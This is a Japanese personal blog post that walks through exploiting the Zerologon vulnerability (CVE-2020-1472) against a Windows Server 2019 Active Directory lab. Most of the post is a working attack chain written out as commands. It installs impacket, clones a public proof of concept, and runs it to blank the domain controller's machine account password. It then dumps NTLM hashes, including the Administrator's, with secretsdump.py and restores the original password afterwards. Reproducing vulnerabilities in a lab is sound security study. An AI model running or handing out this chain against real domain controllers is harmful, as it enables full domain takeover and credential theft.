たれながし.info

とあるITエンジニアの備忘録

「Zerologon (CVE-2020-1472)」にExploit

ActiveDirectoryの脆弱性「Zerologon (CVE-2020-1472)」にExploitしてみます。

検証環境

攻撃される側はWindows Server 2019で構築したActiveDirectoryを使用します。
攻撃する側はPython3.7以上が使えれば何でも良いです。

  • 攻撃される側
  • 攻撃する側
    • Ubuntu20.04 LTS
    • Python3.8.5
    • impacket
    • exploit

Exploitの準備

ExploitはDirk-janがGitHubで公開しているものを使います。

GitHub
GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura

Python3バージョン確認

Exploitの動作要件にPython3.6、impacketの動作要件にPython3.7とあるのでPythonのバージョンを確認します。

$ python3 --version
Python 3.8.5

impacketのインストール

impacketに含まれる「secretsdump.py」を使うのでインストールします。
パスワードハッシュのダンプに使用します。

GitHub
https://github.com/SecureAuthCorp/impacketGitHub - SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols.

$ sudo apt install git python3-pip
$ git clone https://github.com/SecureAuthCorp/impacket.git
$ cd impacket/
$ sudo pip3 install .

Exploitのダウンロード

$ cd
$ git clone https://github.com/dirkjanm/CVE-2020-1472

Exploitの実行

Exploit実行

成功するとdc01のコンピュータアカウントのパスワードが「なし」になります。
→「NTLMハッシュ=31d6cfe0d16ae931b73c59d7e0c089c0」

$ cd CVE-2020-1472/
$ python3 cve-2020-1472-exploit.py <hostname> <target-IP>

f:id:tarenagashi_info:20201208000901p:plain

NTLMハッシュのダンプ

dc01のコンピュータアカウントでNTLMハッシュのダンプをします。パスワードなしで実行できます。
これでAdministratorのNTLMハッシュが分かります。悪用されると困ります。

secretsdump.py -just-dc -no-pass <hostname>\$@<target-IP>

f:id:tarenagashi_info:20201208001032p:plain

AdministratorのNTLMハッシュを使ってダンプをします。
「plain_password_hex」を確認します。この値はExploit前の状態に戻すために使います。

secretsdump.py -hashes <NTLM-hash> administrator@<target-IP>

f:id:tarenagashi_info:20201208001202p:plain

Exploit前の状態へ復元

Exploit前の状態に戻さないと不整合により不具合が出るので、Exploit実行から時間を空けずに戻します。
戻す時は上記コマンド結果で確認した「plain_password_hex」を使います(長い、数100文字ある)。

なぜ不具合が出るか/どんな不具合が出るかは、Exploitの作成者Dirk-janがTwitterで説明しています。

python3 restorepassword.py <domain>/<hostname>@<hostname> -target-ip <target-IP> -hexpass <hex-credential>

f:id:tarenagashi_info:20201208001318p:plain